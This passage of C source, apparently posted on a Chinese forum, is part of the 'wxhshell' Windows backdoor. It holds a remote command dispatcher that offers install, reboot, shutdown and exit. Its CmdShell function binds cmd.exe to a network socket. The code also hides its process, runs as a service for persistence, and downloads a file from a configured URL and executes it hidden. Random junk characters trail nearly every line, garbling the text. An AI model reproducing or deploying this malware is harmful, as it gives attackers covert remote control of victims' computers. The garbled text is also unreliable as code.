  else { W4^L_p>Tm^  
b R\7j+*&  
    switch(cmd[0]) { XS<>0YM  
  $vn6%M[  
  // 帮助 3JazQU  
  case '?': { #3uv^m LGa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (vXr2Z<l  
    break; Sp `l>BL  
  } FO{=^I5YA  
  // 安装 1 ZdB6U0  
  case 'i': { %6K7uvTq  
    if(Install()) t)SZ2G1r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qwTz7r  
    else r]B8\5|<d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2y [Q  
    break; =8FvkNr  
    } W4$o\yA]  
  // 卸载 (d9~z  
  case 'r': { ' jciX]g  
    if(Uninstall()) MK< y$B{}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('J/Ww<  
    else o3WOp80hz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ChBf:`e  
    break; ,H7X_KbFD4  
    } oFk2y^>u  
  // 显示 wxhshell 所在路径 "N4^ ^~s  
  case 'p': { ?hoOSur+  
    char svExeFile[MAX_PATH]; A(Ct^/x-  
    strcpy(svExeFile,"\n\r"); b?wrOS  
      strcat(svExeFile,ExeFile); Dy08.Sss  
        send(wsh,svExeFile,strlen(svExeFile),0); b,!C8rJ  
    break; 1{uxpYAP=  
    } kG^76dAQL  
  // 重启 \!KE_7HRu  
  case 'b': { ?Y=aO(}=h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1]xk:u4LA  
    if(Boot(REBOOT)) CEfqFn3^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 $FH;=  
    else { n Ja!&G&  
    closesocket(wsh); r6<;bO(  
    ExitThread(0); S ?Zh#`(*  
    } s{^98*  
    break; }U]jy  
    } {i;,Io7 W  
  // 关机  5"%.8P  
  case 'd': { q<Rj Ai  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )\wkVAm  
    if(Boot(SHUTDOWN)) 5(;Y&?k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I| TNo-!$  
    else { $<*) 5|6  
    closesocket(wsh); B4s$| i{D  
    ExitThread(0); n,T &n  
    } VFE@qX|  
    break; |3$E w.  
    } _kKG%U.gbK  
  // 获取shell Y;w|Fvjj+  
  case 's': { 44CZl{pt  
    CmdShell(wsh); [8ZDMe  
    closesocket(wsh); HG"ZN)~  
    ExitThread(0); oXo>pl  
    break; ~M~DH-aX  
  } 5SFr E`  
  // 退出 }G4I9Py  
  case 'x': { "&L8d(ZuA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,%!m%+K9a  
    CloseIt(wsh); ?;~!C2Zs  
    break; N2:Hdu :  
    } XJul~"  
  // 离开 T!/o^0w  
  case 'q': { "LlpZtw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >Eh U{@Y  
    closesocket(wsh); s.M39W?  
    WSACleanup(); QO@86{u#Y  
    exit(1); g{&5a(W&`  
    break; *qpFt Bg  
        } |n_N.Z  
  } |# 0'_  
  } 'O a3 6@  
gUiO66#x  
  // 提示信息 ._+cvXy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t{;2$z 0  
} nD i^s{  
  } [^!SkQ  
:.PA(97x b  
  return; V#G)w~   
} <4{m99  
FNGa4  
// shell模块句柄 fY]"_P  
int CmdShell(SOCKET sock) k(H&Af+  
{ AKk=XAGW  
STARTUPINFO si; eKLvBa-{@  
ZeroMemory(&si,sizeof(si)); }6Pbjm*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AA\)BNM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e'b*_Ps'  
PROCESS_INFORMATION ProcessInfo; lxd{T3LU  
char cmdline[]="cmd"; m .++nF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iEn:Hh)  
  return 0; ]m_x;5s $  
} %oBP6|e  
zw#n85=  
// 自身启动模式 XPhP1 ^>\  
int StartFromService(void) Dgz, Uad8f  
{ n bxY'`8F  
typedef struct 81nD:]7  
{ )\])?q61  
  DWORD ExitStatus; j_C"O,WS  
  DWORD PebBaseAddress; Nuqmp7C  
  DWORD AffinityMask; eA N{BPN [  
  DWORD BasePriority; c0wLc,)G  
  ULONG UniqueProcessId; !'_7MM  
  ULONG InheritedFromUniqueProcessId; !B`z|#  
}   PROCESS_BASIC_INFORMATION; F{mUxo#T  
;R= n<=Axa  
PROCNTQSIP NtQueryInformationProcess; re*Zs}(N\  
@ ]u@e4T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EIw] 9;'_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S(@kdL  
RUY7Y?  
  HANDLE             hProcess; O=__w *<  
  PROCESS_BASIC_INFORMATION pbi; ")KqPD6k  
!-MY< '  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eb7UA=[Z  
  if(NULL == hInst ) return 0; 3cHYe  
 hh4R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cab-:2L]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1$RJzHS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J0V m&TY  
aEdA'>  
  if (!NtQueryInformationProcess) return 0; f2~Aug  
!<TkX/O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zgY VB}  
  if(!hProcess) return 0; nlpEkq  
xVB rwkk(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "U^m~N9k{  
#E+ybwA  
  CloseHandle(hProcess); @QTw9,pS  
1G]D:9-?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `M~R4lr  
if(hProcess==NULL) return 0; :G>w MMv&z  
I^EZs6~  
HMODULE hMod; 4AN8Sx(  
char procName[255]; xJZaV!N|  
unsigned long cbNeeded; UIDeMz  
N3$1f$`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3li$)S1z  
4T3Z9KD!8  
  CloseHandle(hProcess); % PzkVs  
(:8a6=xQ  
if(strstr(procName,"services")) return 1; // 以服务启动 '$Z)2fn7  
N.mRay,  
  return 0; // 注册表启动 e^lX|L>o  
} 'v^Vg  
~QSX 1w"  
// 主模块 e?XFtIj$  
int StartWxhshell(LPSTR lpCmdLine) k.C&6*l!5;  
{ } E ]l4N2  
  SOCKET wsl; #b/L~Bw[  
BOOL val=TRUE; U[MeK)*  
  int port=0; xO_>%F^?  
  struct sockaddr_in door; xc*a(v0  
q\@_L.tc[  
  if(wscfg.ws_autoins) Install(); =4`wYh  
Ck#e54gJX  
port=atoi(lpCmdLine); T1q27I  
$y6 <2w%b  
if(port<=0) port=wscfg.ws_port; U;/2\Ii  
(s&:D`e  
  WSADATA data; I?Iz5e-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?L\"qz%gP  
6=n|Ha  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0g30nr)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  @_f^AQ  
  door.sin_family = AF_INET; s! 2[zJ19p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hZfj$|<  
  door.sin_port = htons(port); ]y.V#,6e  
(o*YGYC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7d R?70Sz  
closesocket(wsl); d4ecF%R  
return 1; :pM 8Q1:B  
} JXL?.{'A  
Btxtu"]nJo  
  if(listen(wsl,2) == INVALID_SOCKET) { 0)SRLHTY%  
closesocket(wsl); I#xdksY  
return 1; y?a71b8m  
} tx7 zG.,  
  Wxhshell(wsl); 2*Qi4%s#  
  WSACleanup(); $ (;:4  
|'-aR@xJ  
return 0; !#pc@(rE  
;@=3 @v  
} ;[;WEA  
t@R[:n;+  
// 以NT服务方式启动 k 6M D3c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) el`?:dY H  
{ y>}r  
DWORD   status = 0; h&K$(}X  
  DWORD   specificError = 0xfffffff; R& t*x  
Hrpz4E%\Aw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V\m"Hl>VIU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .O"a:^i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W+ ;=8S  
  serviceStatus.dwWin32ExitCode     = 0; (=uT*Cb  
  serviceStatus.dwServiceSpecificExitCode = 0; C*ep8{B  
  serviceStatus.dwCheckPoint       = 0; ewd eC  
  serviceStatus.dwWaitHint       = 0; mH\zSk  
i#>t<g`l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^85Eveu  
  if (hServiceStatusHandle==0) return; Soq#cl'll-  
<qfAW?tF  
status = GetLastError(); %W9R08`  
  if (status!=NO_ERROR) ~<!j]@.  
{ e1a\ --  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qK7:[\T|?T  
    serviceStatus.dwCheckPoint       = 0; .Pj<Pe  
    serviceStatus.dwWaitHint       = 0; !O%!A<3  
    serviceStatus.dwWin32ExitCode     = status; %:'G={G`QH  
    serviceStatus.dwServiceSpecificExitCode = specificError; yVnG+R&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !*Is0``  
    return; MoN0w.V  
  } lGr=I-=  
pC:YT/J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n[0u&m8  
  serviceStatus.dwCheckPoint       = 0; ;>mM9^Jaf  
  serviceStatus.dwWaitHint       = 0; ( jU $  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ymxA<bICS8  
} BW)-F (v   
1s(T#jh  
// 处理NT服务事件,比如:启动、停止 ]?+i6 [6U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =S{OzF  
{ :+DrV\)  
switch(fdwControl) SI~jM:S}  
{ jbipNgxkr  
case SERVICE_CONTROL_STOP: vN^.MR+<  
  serviceStatus.dwWin32ExitCode = 0; V3ht:>c9qs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1v|-+p42  
  serviceStatus.dwCheckPoint   = 0; VA[EY`8  
  serviceStatus.dwWaitHint     = 0; pDlrK&;\z  
  { BL 1KM2]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '>t&fzD0  
  } OM0r*<D"!  
  return; aGC3&c[Wx  
case SERVICE_CONTROL_PAUSE: rs?Dn6:;B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =gI41Y]  
  break; OJpfiZ@Q_  
case SERVICE_CONTROL_CONTINUE: [TOo 9W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; chL1r9V)v  
  break; iOg4(SPci  
case SERVICE_CONTROL_INTERROGATE: ]uox ^HC  
  break; pZ'q_Oux  
}; \"(?k>]E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,i6E L  
} pi"M*$  
AMjr[!44 @  
// 标准应用程序主函数 :W,S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PolJo?HZ  
{ {EvT7W  
Cg]|x+  
// 获取操作系统版本 KV$&qM.  
OsIsNt=GetOsVer(); 53{\H&q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q~nVbj?c2v  
l SdA7  
  // 从命令行安装 8^}/T#l  
  if(strpbrk(lpCmdLine,"iI")) Install(); E#+2)Q  
RJ@79L *#  
  // 下载执行文件 ]S4"JcM  
if(wscfg.ws_downexe) { I :<,9.   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eZOR{|z  
  WinExec(wscfg.ws_filenam,SW_HIDE); .4^+q9M  
} _aevaWtEx  
^}Vc||S  
if(!OsIsNt) { `B@eeXa;u  
// 如果时win9x,隐藏进程并且设置为注册表启动 5NZuaN  
HideProc(); Jm<NDE~rw  
StartWxhshell(lpCmdLine); qm!cv;}c1  
} 1<'z)r4  
else D/Ki^E  
  if(StartFromService()) /al56n  
  // 以服务方式启动 kMCP .D45;  
  StartServiceCtrlDispatcher(DispatchTable); :Q DkaA  
else 3XlQ4  
  // 普通方式启动 R 9` [C  
  StartWxhshell(lpCmdLine); se %#U40*  
+ )Qu,%2   
return 0; _">F]ptI;  
}
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只看该作者 1 发表于: 2006-10-10
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